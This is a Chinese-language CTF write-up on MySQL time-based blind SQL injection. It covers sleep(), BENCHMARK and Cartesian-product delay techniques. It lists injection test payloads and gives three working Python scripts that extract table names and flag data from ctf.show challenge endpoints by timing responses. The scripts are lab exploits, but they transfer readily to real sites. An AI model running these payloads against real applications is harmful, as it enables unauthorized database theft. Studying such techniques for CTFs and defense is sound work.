时间盲注小Trick

前言

​ 今天在刷题的时候,刷到了两道时间注入的题目,一个可以使用sleep,另一种方法也是最常用来替换sleep函数的Trick,在搜集资料的时候发现,原来当以上两种时间注入的函数被ban的时候,还可以有别的方法来进行攻击,本地复现记录一下。

​ 文章中的题目均来自ctfshow

sleep函数

​ 这个函数其实也是没有什么可以多说的地方,时间注入最经常使用的函数,其实如果函数未过滤时,我们使用sleep函数延时注入的测试payload如下

1
2
3
4
5
6
7
8
9
' and if(1=0,1, sleep(10)) --+ 

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+

然后是一道题目,也不做什么分析,就直接给脚本贴一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# @Author:ly0n
# @Date :2021/10/05 10:11:30

import requests
import time

url = "http://75301bed-64c0-44f9-876c-583291caef6e.challenge.ctf.show:8080/api/index.php"


def flag():
flag=''
for i in range(1,15):
for j in range(32,127):
# payload = f"1 or if(ascii(substr(database(),{i},1))={j},sleep(3),1)"
payload = f"1 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{i},1))={j},sleep(1),1)"
# print(payload)
data={
"ip":payload,
"debug":1
}
start_time = time.time()
exp = requests.post(url=url,data=data)
# print(data)
if time.time()- start_time >1:
flag+=chr(j)
print("[*]Tables:",flag)
break
else:
pass

flag()

benchmark函数

1
BENCHMARK(count,expr)

之所以可以用这个函数来替代sleep函数来进行延迟注入的原因是因为在这个执行时会重复计算expr表达式count次,这样我们可以通过控制count的次数来达到延时注入的目的。

可以看到通过控制count的值就可以达到延时注入所需要的条件。

这个题目过滤了sleep,所以我们就可以通过这个函数去绕过,

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# @Author:ly0n
# @Date :2021/10/18 13:56:18

import requests
import time

url= "http://93b1f518-0ce1-442a-9c1f-99498affdb01.challenge.ctf.show/api/index.php"
s = 'qwertyuioplkjhgfdsazxcvbnm-{}1234567890'

flag = ''

for i in range(1,100):
low = 32
high = 128
mid = (low+high)//2
# print(mid)
while(low<high):
# payload = f"0) or if((ascii(substr(database(),{i},1))>{mid}),BENCHMARK(1000000,md5('1')),0)#"
# payload = f"0) or if((ascii(substr((select table_name from information_schema.tables where table_schema = 'ctfshow_web' limit 0,1),{i},1))>{mid}),BENCHMARK(1000000,md5('1')),0)#"
# payload = f"0) or if((ascii(substr((select column_name from information_schema.columns where table_name = 'ctfshow_flagxccb' limit 1,1),{i},1))>{mid}),BENCHMARK(1000000,md5('1')),0)#"
payload = f"0)or if((ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{i},1))>{mid}),BENCHMARK(1000000,md5('1')),0)#"
# print(payload)
data={
"ip":payload,
"debug":0
}
time1=time.time()
r=requests.post(url=url,data=data)
time2=time.time()

print(low,mid,high)
if time2-time1>0.5:
low=mid+1
else:
high=mid
mid=(low+high)//2
flag+=chr(mid)
print(flag)
if mid==32:
print(flag)
break

笛卡尔积盲注

当我去做这个sql系列的题目时,发现sleep,还有BENCHMARK都已经被过滤了,然后就百度搜索了时间盲注的姿势

https://xz.aliyun.com/t/5505

其实笛卡尔积就是一个去连接表的操作,在连接表是很费时间的。比如

A×B={(x,y)|x∈A∧y∈B},AxB就是A和B中每个元素的组合所组成的集合,也就是连接表

我们可以通过连接不同数量的表和列来控制我们延迟的时间

但是我自己的感觉就是连接表还是比较耗费时间的,写好脚本之后跑出答案也是一个漫长的过程。

一个sql注入的题目exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# @Author:ly0n
# @Date :2021/10/18 14:31:03

import requests
import time

url= "http://2813f66e-5db7-44e0-966a-f056aee867d8.challenge.ctf.show/api/index.php"


flag = ''
for i in range(1,100):
low=32
high=128
mid=(low+high)//2
while low<high:
payload=f"0)or if((ascii(substr((select group_concat(flagaac) from ctfshow_flagxc),{i},1))>{mid}),(SELECT count(*) FROM information_schema.columns A,information_schema.columns B),0)#"

data={
"ip":payload,
"debug":0
}
time1=time.time()
r=requests.post(url,data=data)
time2=time.time()
time.sleep(0.5)
print(time2-time1)
print(low,mid,high)


if time2-time1>0.5:
low=mid+1
else:
high=mid
mid=(low+high)//2
flag+=chr(mid)
print(flag)
if mid==32:
print(flag)
break

GET_LOCK() 加锁

这个我暂时还没有在题目中使用到

一是因为这个需要两个会话

我的理解就是当我们的session1在执行查询的时候,查询完毕但是session没有关闭,也就是说会话没有释放,如果我们再次进行get_lock操作时,就会延迟。

暂时还没有遇到使用这个方法的题目。